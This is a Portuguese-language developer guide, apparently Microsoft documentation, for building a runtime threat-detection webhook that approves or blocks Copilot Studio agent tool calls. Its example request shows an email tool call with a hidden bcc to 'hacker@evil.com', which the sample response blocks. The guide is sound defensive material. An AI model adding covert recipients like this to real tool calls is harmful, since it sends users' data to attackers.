Partilhar via

Crie um sistema de deteção de ameaças em tempo de execução para agentes do Copilot Studio

As organizações podem adicionar uma camada de segurança aos seus agentes do Copilot Studio conectando-os a um sistema de deteção de ameaças em tempo de execução. Uma vez conectado, o agente chama esse sistema em tempo de execução. O agente fornece dados ao sistema para que o sistema possa determinar se uma ferramenta que o agente planeja invocar é legítima ou não. Em seguida, o sistema responde ao Copilot Studio com uma resposta de "aprovar" ou "bloquear", fazendo com que o agente invoque ou ignore a ferramenta de acordo. Para obter mais informações sobre como conectar agentes a um sistema de deteção de ameaças externo existente, consulte Habilitar deteção e proteção de ameaças externas para agentes personalizados do Copilot Studio.

Este artigo destina-se a desenvolvedores e descreve como integrar seus próprios recursos de deteção de ameaças como um provedor de segurança para agentes do Copilot Studio.

A integração é baseada em uma API que consiste em dois endpoints. O principal ponto de extremidade que você precisa implementar é o ponto de analyze-tool-execution extremidade. Você precisa expor esse ponto de extremidade como uma interface para seu sistema de deteção de ameaças. Depois que os clientes configuram seu sistema como seu sistema externo de deteção de ameaças, o agente chama essa API toda vez que pretende invocar uma ferramenta.

Além do ponto de extremidade, você também precisa expor um segundo ponto de analyze-tool-execution extremidade, chamado validate. O validate ponto de extremidade é usado para verificar a integridade e a prontidão do ponto de extremidade como parte da configuração do sistema.

As seções a seguir descrevem cada ponto de extremidade em detalhes.

POST/validar

Finalidade: Verifica se o ponto de extremidade de deteção de ameaças está acessível e funcionando. Usado para instalação inicial e testes de configuração.

Validar pedido

  • Método: PUBLICAR

  • Endereço URL:https://{threat detection endpoint}/validate?api-version=2025-05-01

  • Cabeçalhos:

    • Autorização: token de portador para autenticação de API

    • x-ms-correlation-id: GUID para rastreamento

  • Corpo: Vazio

Validar resposta

Exemplo de resposta 200 OK

{
  "isSuccessful": true,
  "status": "OK"
}

Exemplo de resposta de erro

Se ocorrer um erro (código HTTP malsucedido), o ponto de extremidade retornará um código de erro, uma mensagem e diagnósticos opcionais.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyze-tool-execution

Finalidade: Submete o contexto de execução da ferramenta para avaliação de risco. Avalia a solicitação de execução da ferramenta e responde se deve permitir ou bloquear a execução da ferramenta.

Solicitação de execução de ferramenta de análise

  • Método: PUBLICAR

  • Endereço URL:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

  • Cabeçalhos:

    • Autorização: token de portador para autenticação de API
    • Tipo de conteúdo: application/json

  • Corpo: Objeto JSON

Exemplo de solicitação de execução de ferramenta de análise

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Resposta de execução da ferramenta de análise

200 OK

Quando a solicitação é válida, o uso da ferramenta especificado na solicitação é avaliado e permitido ou bloqueado, com base nos critérios definidos. A resposta pode incluir os seguintes campos:

  • blockAction (Booleano): Se a ação deve ser bloqueada
  • reasonCode (inteiro, opcional): Código numérico que explica o motivo do bloco
  • razão (string, opcional): Explicação legível por humanos
  • diagnóstico (objeto, opcional): Outros detalhes para rastreamento ou depuração

Exemplo permitir resposta

{
  "blockAction": false
}

Exemplo de resposta em bloco

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Exemplo de resposta de erro

Se a solicitação não for válida, uma resposta de erro será retornada com um código de erro, mensagem, status HTTP e diagnóstico opcional.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Referência das estruturas dos órgãos de pedido e resposta

As tabelas a seguir descrevem o conteúdo de vários objetos usados nos corpos de solicitação e resposta para os pontos de extremidade.

ValidationResponse

Nome Type Obrigatório Descrição
isSuccessful booleano Yes Indica se a validação foi aprovada.
estado cadeia (de caracteres) Yes Mensagem de status opcional ou detalhes específicos do parceiro.

AnalyzeToolExecutionResponse

Nome Type Obrigatório Descrição
blockAction booleano Yes Indica se a ação deve ser bloqueada.
código de motivo número inteiro Não Código de razão numérico opcional, determinado pelo parceiro.
razão cadeia (de caracteres) Não Explicação opcional legível por humanos.
diagnostics cadeia (de caracteres) Não Informações opcionais de diagnóstico de forma livre para depuração ou telemetria. Deve ser pré-serializado.

ErrorResponse

Nome Type Obrigatório Descrição
código de erro número inteiro Yes Identificador numérico para o erro (por exemplo, 1001 = campo ausente, 2003 = falha de autenticação).
mensagem cadeia (de caracteres) Yes Explicação do erro legível por humanos.
httpStatus número inteiro Yes Código de status HTTP retornado pelo parceiro.
diagnostics cadeia (de caracteres) Não Informações opcionais de diagnóstico de forma livre para depuração ou telemetria. Deve ser pré-serializado.

AvaliaçãoPedido

Nome Type Obrigatório Descrição
plannerContext PlannerContext Yes Dados de contexto do planejador.
toolDefinition Definição de Ferramentas Yes Detalhes da definição da ferramenta.
inputValues Objeto JSON Yes Dicionário de pares chave-valor fornecidos à ferramenta.
conversationMetadata ConversationMetadata Yes Metadados sobre o contexto da conversa, o usuário e o acompanhamento do plano.

PlannerContext

Nome Type Obrigatório Descrição
userMensagem cadeia (de caracteres) Yes A mensagem original enviada pelo agente.
pensamento cadeia (de caracteres) Não Explicação do planejador para o motivo pelo qual essa ferramenta foi selecionada.
chatHistórico Mensagem de bate-papo[] Não Lista de mensagens de chat recentes trocadas com o usuário.
anteriorToolsOutputs ToolExecutionOutput[] Não Lista de saídas de ferramentas recentes.

ChatMensagem

Nome Type Obrigatório Descrição
id cadeia (de caracteres) Yes Identificador exclusivo para esta mensagem na conversa.
função cadeia (de caracteres) Yes Origem da mensagem (por exemplo, utilizador, assistente).
conteúdo cadeia (de caracteres) Yes O texto da mensagem.
carimbo de data/hora string (data-hora) Não Carimbo de data/hora ISO 8601 indicando quando a mensagem foi enviada.

ToolExecutionOutputs

Nome Type Obrigatório Descrição
Id da ferramenta cadeia (de caracteres) Yes Identificador exclusivo para esta mensagem na conversa.
nome_da_ferramenta cadeia (de caracteres) Yes Nome da ferramenta.
saídas ExecutionOutput[] Yes Lista dos resultados de execução da ferramenta.
carimbo de data/hora string (data-hora) Não Carimbo de data/hora ISO 8601 indicando quando a execução da ferramenta foi concluída.

ExecutionOutput

Nome Type Obrigatório Descrição
nome cadeia (de caracteres) Yes Nome do parâmetro de saída.
descrição cadeia (de caracteres) Não Explicação para o valor de saída.
tipo objecto Não Tipo de dados da saída.
valor Valor de dados JSON Yes O valor de saída.

Definição de Ferramentas

Nome Type Obrigatório Descrição
id cadeia (de caracteres) Yes Identificador único da ferramenta.
tipo cadeia (de caracteres) Yes Especifica o tipo de ferramenta usada no planejador.
nome cadeia (de caracteres) Yes Nome legível por humanos da ferramenta.
descrição cadeia (de caracteres) Yes Resumo do que a ferramenta faz.
inputParameters ToolInput[] Não Parâmetros de entrada da ferramenta.
outputParameters ToolOutput[] Não Parâmetros de saída que a ferramenta retorna após a execução.

Entrada de ferramentas

Nome Type Obrigatório Descrição
nome cadeia (de caracteres) Yes Nome do parâmetro de entrada.
descrição cadeia (de caracteres) Não Explicação do valor esperado para este parâmetro de entrada.
tipo Objeto JSON Não Tipo de dados do parâmetro de entrada.

Saída de ferramentas

Nome Type Obrigatório Descrição
nome cadeia (de caracteres) Yes Nome do parâmetro de saída.
descrição cadeia (de caracteres) Não Explicação do valor de saída.
tipo Objeto JSON Não Tipo do valor de saída.

ConversationMetadata

Nome Type Obrigatório Descrição
agente AgentContext Yes Informações de contexto do agente.
utilizador Contexto do usuário Não Informações sobre o usuário interagindo com o agente.
accionador TriggerContext Não Informações sobre o que desencadeou a execução do planejador.
conversationId cadeia (de caracteres) Yes ID da conversa em curso.
planId cadeia (de caracteres) Não ID do plano usado para atender à solicitação do usuário.
planStepId cadeia (de caracteres) Não Passo dentro do plano correspondente à execução desta ferramenta.
parentAgentComponentId cadeia (de caracteres) Não ID do componente do agente pai.

AgentContext

Nome Type Obrigatório Descrição
id cadeia (de caracteres) Yes ID do agente.
tenantId cadeia (de caracteres) Yes Inquilino onde o agente reside.
environmentId cadeia (de caracteres) Yes Ambiente no qual o agente é publicado.
versão cadeia (de caracteres) Não Versão do agente (opcional se isPublished for false).
isPublicado booleano Yes Se este contexto de execução é uma versão publicada.

Contexto do usuário

Nome Type Obrigatório Descrição
id cadeia (de caracteres) Não ID do objeto Microsoft Entra do usuário.
tenantId cadeia (de caracteres) Não ID do locatário do usuário.

TriggerContext

Nome Type Obrigatório Descrição
id cadeia (de caracteres) Não O id do gatilho que acionou o planejador.
schemaName cadeia (de caracteres) Não O nome do esquema de gatilho que acionou o planejador.

Authentication

A integração desenvolvida deve usar a autenticação Microsoft Entra ID. Siga as instruções em Integrar aplicativos criados por seus desenvolvedores.

As etapas a serem executadas incluem o seguinte:

  • Crie um registo de aplicação para o seu recurso no seu inquilino.
  • Exponha um escopo para sua API da Web. O escopo exposto deve ser a URL base para o recurso que os clientes chamam. Por exemplo, se a URL da API for https://security.contoso.com/api/threatdetection, o escopo exposto deverá ser https://security.contoso.com.
  • Dependendo de como você implementa seu serviço, você precisa implementar a lógica de autorização e validar os tokens de entrada. Você precisa documentar como o cliente deve autorizar seus aplicativos. Há várias maneiras de fazer isso, por exemplo, usando uma lista de permissões de IDs de aplicativo ou controle de acesso baseado em função (RBAC).

Requisitos de tempo de resposta

O agente espera uma resposta do sistema de deteção de ameaças em menos de 1.000 ms. Você deve garantir que seu endpoint responda à chamada dentro desse período. Se o seu sistema não responder a tempo, o agente se comportará como se sua resposta fosse "permitir", invocando a ferramenta.

Controle de versão da API

Em solicitações, a versão da API é especificada por meio de um api-version parâmetro de consulta (por exemplo, api-version=2025-05-01). Sua implementação deve ser tolerante a outros campos inesperados e não deve falhar se novos valores forem adicionados no futuro. Os parceiros não devem verificar a versão da API, pois todas as versões no momento são consideradas ininterruptas. Os parceiros devem acompanhar as versões da API, mas não falhar a solicitação ao ver uma nova versão.

  • Last updated on